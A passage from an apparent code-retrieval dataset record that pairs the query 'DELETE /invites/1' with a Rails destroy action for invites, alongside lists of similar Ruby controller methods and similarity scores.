"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, flash: { success: 'Invitation was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n if @invoiceline.update_attributes(params[:invoiceline])\n format.html { redirect_to(@invoiceline, :notice => 'Invoiceline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoiceline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @inbox = Inbox.find(params[:id])\n\n respond_to do |format|\n if @inbox.update_attributes(params[:inbox])\n format.html { redirect_to @inbox, notice: 'Inbox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(invitation_params)\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ActiveRecord::Base.transaction do\n @invitee = @invitation.invitee\n accepted_invitees = @meeting.invitations.count { |invitation| invitation.response == \"Accepted\"}\n if @invitee==current_user && @meeting.max_size>= accepted_invitees\n if @invitation.update_attributes(invitation_update_params)\n return json_response(@invitation, :updated)\n end\n end\n end\n head :no_content\n end",
"def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n @inv_x_ref = InvXRef.find(params[:id])\n\n respond_to do |format|\n if @inv_x_ref.update_attributes(params[:inv_x_ref])\n format.html { redirect_to @inv_x_ref, notice: 'Inv x ref was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inv_x_ref.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n\n @event.invitees_email.split(',').each do | user_email |\n user = User.find_by(email: user_email)\n \n unless @event.invitees.include?(user) || @event.attendees.include?(user)\n @event.invitees << user\n end\n end\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invite_resource\n resource_class.invite!(invite_params, current_inviter) do |invitable|\n invitable.company_id = current_user.company_id\n invitable.is_admin = true\n invitable.require_email = true\n invitable.save\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n @inv_type = InvType.find(params[:id])\n @inv_type.updated_id = current_user.id\n\n respond_to do |format|\n if @inv_type.update_attributes(params[:inv_type])\n format.html { redirect_to(@inv_type, :notice => 'Inv type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inv_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n # too many issues trying to do strong parametesr.\n # TODO: implement strong params in the future\n params = request.parameters\n\n if !params.has_key?(:invoice_items) then\n flash[:error] = \"No items to update in invoice #{invoice.id}\"\n head status: :precondition_failed\n return\n end\n\n invoice = Invoice.find(params[:id])\n\n #just try to update the damn thing\n params[:invoice_items].each_pair do |key,value|\n InvoiceItem.find(key).update_attributes(value)\n end\n\n invoice.update_attribute(:total_billing, invoice.generate_total_billing)\n # update status\n if invoice.total_billing.zero? then\n invoice.update_attribute(:status, Invoice.statuses[\"settled\"])\n else\n invoice.update_attribute(:status, Invoice.statuses[\"outstanding\"])\n end\n\n flash[:notice] = \"Invoice #{invoice.id} updated\"\n render json: {message:\"Invoice #{invoice.id} updated\", invoice:invoice}, status: :ok\n end",
"def update\n @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to invoices_url, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invest = Invest.find(params[:id])\n\n respond_to do |format|\n if @invest.update_attributes(params[:invest])\n format.html { redirect_to(@invest, :notice => 'Invest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_invupdate\n @invupdate = Invupdate.find(params[:id])\n end",
"def update\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n\n respond_to do |format|\n if @linked_in_invitation.update_attributes(params[:linked_in_invitation])\n format.html { redirect_to @linked_in_invitation, notice: 'Linked in invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @linked_in_invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invitation = @event.invitations.find(params[:id])\n if @invitation.key != params[:invitation][:key]\n redirect_to friendly_page_url(@page)\n return\n end\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to(\n friendly_page_url(@page, :invitation_key => @invitation.key),\n :notice => 'Invitation was successfully updated.') }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n @appointment_request = current_user.requests.find_by(\n id: params[:request_id]\n )\n\n if @appointment_request.present?\n render json: { appointment_request: @appointment_request, status: 200 }\n else\n render json: { status: 404, layout: false }, status: 404\n end\n end",
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to(@invitation, :notice => 'Invitation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def update\n # @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end",
"def update\n respond_to do |format|\n if @invitation.update(invitation_params)\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @identity = Identity.find(params[:id])\n\n if @identity.update(identity_params)\n head :no_content\n else\n render json: @identity.errors, status: :unprocessable_entity\n end\n end",
"def update\n return if auth(\"website_administrator\")\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n if @incident.update_attributes(params[:incident])\n format.html { redirect_to @incident, :notice => 'Incident was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @incident.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @activite = Activite.find(params[:id])\n\n \n respond_to do |format|\n if @activite.update_attributes(params[:activite])\n format.html { redirect_to(@activite, :notice => 'Activite was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@activite}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, :notice => 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @invoice.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, :notice => 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @invoice.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_groups_invite.update(os_groups_invite_params)\n format.html { redirect_to @os_groups_invite, notice: 'Os groups invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_groups_invite }\n else\n format.html { render :edit }\n format.json { render json: @os_groups_invite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n if @clientsOffers.update_attributes(params[:clientsOffers])\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ignite.update(ignite_params)\n format.html { redirect_to @ignite, notice: 'Ignite was successfully updated.' }\n format.json { render :show, status: :ok, location: @ignite }\n else\n format.html { render :edit }\n format.json { render json: @ignite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person.authorizer = current_person\n\n respond_to do |format|\n if @person.update(person_params)\n @person.invite!(current_person) if params['resend_invite']=='true' \n \n format.html { redirect_to :people, notice: 'Profile successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_with(invoice)\n end",
"def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end",
"def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end",
"def update\n respond_to do |format|\n if @inven.update(inven_params)\n format.html { redirect_to @inven, notice: 'Inven was successfully updated.' }\n format.json { render :show, status: :ok, location: @inven }\n else\n format.html { render :edit }\n format.json { render json: @inven.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def set_invite\n @invite = Invite.find(params[:id])\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6908473",
"0.68849975",
"0.68849975",
"0.68849975",
"0.6831984",
"0.66649175",
"0.6607221",
"0.6544699",
"0.65013003",
"0.65013003",
"0.65013003",
"0.65013003",
"0.64827174",
"0.6470114",
"0.6402051",
"0.6368439",
"0.63679135",
"0.6360231",
"0.6336215",
"0.6326225",
"0.63184774",
"0.62522316",
"0.6221292",
"0.62146044",
"0.61960286",
"0.61840945",
"0.6085657",
"0.60566914",
"0.60336256",
"0.6010404",
"0.6006739",
"0.59972054",
"0.5980062",
"0.59656525",
"0.5917814",
"0.59097534",
"0.5889478",
"0.5885714",
"0.58827263",
"0.5867531",
"0.5867295",
"0.58609045",
"0.5859076",
"0.5859076",
"0.5859076",
"0.5856861",
"0.5810426",
"0.57975876",
"0.5789427",
"0.5774888",
"0.57379335",
"0.5730123",
"0.5724698",
"0.57207584",
"0.5715907",
"0.5715907",
"0.571521",
"0.5708432",
"0.5706611",
"0.57049567",
"0.5700565",
"0.5698228",
"0.56852114",
"0.56675",
"0.5662644",
"0.5656964",
"0.5652137",
"0.5645183",
"0.56207985",
"0.56207985",
"0.56207985",
"0.56207985",
"0.5619962",
"0.5619298",
"0.56158274",
"0.561341",
"0.56133574",
"0.56112164",
"0.56069726",
"0.56069726",
"0.5602327",
"0.5602308",
"0.5600424",
"0.55986273",
"0.55986273",
"0.55986273",
"0.55937976",
"0.55930907",
"0.5590343",
"0.5589018",
"0.5588155",
"0.55831003",
"0.5572691",
"0.5572691",
"0.5572691",
"0.5572691",
"0.5572691",
"0.5572691",
"0.55707675"
] |
0.6591822
|
8
|
DELETE /invites/1 DELETE /invites/1.json
|
def destroy
@invite.destroy
respond_to do |format|
format.html { redirect_to invites_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to(invites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invite_status = InviteStatus.find(params[:id])\n @invite_status.destroy\n\n respond_to do |format|\n format.html { redirect_to invite_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tredirect_to guild_invites_url, :alert => \"Already used\" and return unless @guild.invites.find(params[:id]).state == \"waiting\"\n\t\t@guild.invites.destroy(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to guild_invites_url, notice: 'Invite was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def remove_invite\n @invited = Dinner.find(params[:id]).invites.find_by(invited_id: params[:user_id])\n @invited.delete\n render json: { message: 'user uninvited' }\n end",
"def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to event_invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list_invite.destroy\n respond_to do |format|\n format.html { redirect_to list_invites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite_request = InviteRequest.find(params[:id])\n @invite_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(invite_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invited.destroy\n respond_to do |format|\n format.html { redirect_to inviteds_url, notice: 'Invited was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite_list = InviteList.find(params[:id])\n @invite_list.destroy\n\n respond_to do |format|\n format.html { redirect_to invite_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitee = Invitee.find(params[:id])\n @invitee.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitees_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invitee.destroy\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inv.destroy\n respond_to do |format|\n format.html { redirect_to invs_url, notice: 'Inv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n @maintain_invite_user.destroy\n\n respond_to do |format|\n format.html { redirect_to maintain_invite_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inven.destroy\n respond_to do |format|\n format.html { redirect_to invens_url, notice: 'Inven was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete\n\t\trender json: Investor.delete_by_id(params[:id])\n\tend",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite_request.destroy\n render :index\n\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @invitado = Invitado.find(params[:id])\n @invitado.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitados_url) }\n format.xml { head :ok }\n end\n end",
"def delete_invite(token, code)\n request(\n __method__,\n :delete,\n \"#{api_base}/invites/#{code}\",\n Authorization: token\n )\n end",
"def destroy\n return if auth(\"website_administrator\")\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :ok }\n end\n end",
"def destroy\n if self.admin? || (self.check_user && self.check_own_invite)\n @invite.destroy\n head :no_content\n else\n render json: { }, status: :unprocessable_entity\n end\n end",
"def destroy\n @invstatus.destroy\n respond_to do |format|\n format.html { redirect_to invstatuses_url, notice: 'Invstatus was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :manage, @invitee\n @invitee.destroy\n respond_to do |format|\n format.html { redirect_to \"/data_curation_network/accounts\", notice: \"Account was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitee = Invitee.find(params[:id])\n\t\t@address = @invitee.address\n\t\t@address.destroy\n @invitee.destroy\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { head :ok }\n\t\t\tformat.js\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to activites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @invest = Invest.find(params[:id])\n @invest.destroy\n\n respond_to do |format|\n format.html { redirect_to(invests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @team_invite.destroy\n respond_to do |format|\n format.html { redirect_to team_team_invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ignite.destroy\n respond_to do |format|\n format.html { redirect_to ignites_url, notice: 'Ignite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoiceline = Invoiceline.find(params[:id])\n @invoiceline.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoicelines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inbox = Inbox.find(params[:id])\n @inbox.destroy\n\n respond_to do |format|\n format.html { redirect_to inboxes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inv_x_ref = InvXRef.find(params[:id])\n @inv_x_ref.destroy\n\n respond_to do |format|\n format.html { redirect_to inv_x_refs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inv_type = InvType.find(params[:id])\n @inv_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(inv_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to(activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end",
"def destroy\n result = access_token.delete(\"/api/v1/emails/#{params[:id]}\")\n display_api_response( result )\n respond_with(\"\",:location => :back)\n end",
"def destroy\n @activite.destroy\n respond_to do |format|\n format.html { redirect_to activites_url, notice: 'Activite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @invoice_status = InvoiceStatus.find(params[:id])\n @invoice_status.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invier_acceso = InvierAcceso.find(params[:id])\n @invier_acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(invier_accesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url }\n format.json { head :no_content }\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidents_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n @linked_in_invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to linked_in_invitations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_groups_invite.destroy\n respond_to do |format|\n format.html { redirect_to os_groups_invites_url, notice: 'Os groups invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend_invite = FriendInvite.find(params[:id])\n @friend_invite.destroy\n\n respond_to do |format|\n format.html { redirect_to(friend_invites_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
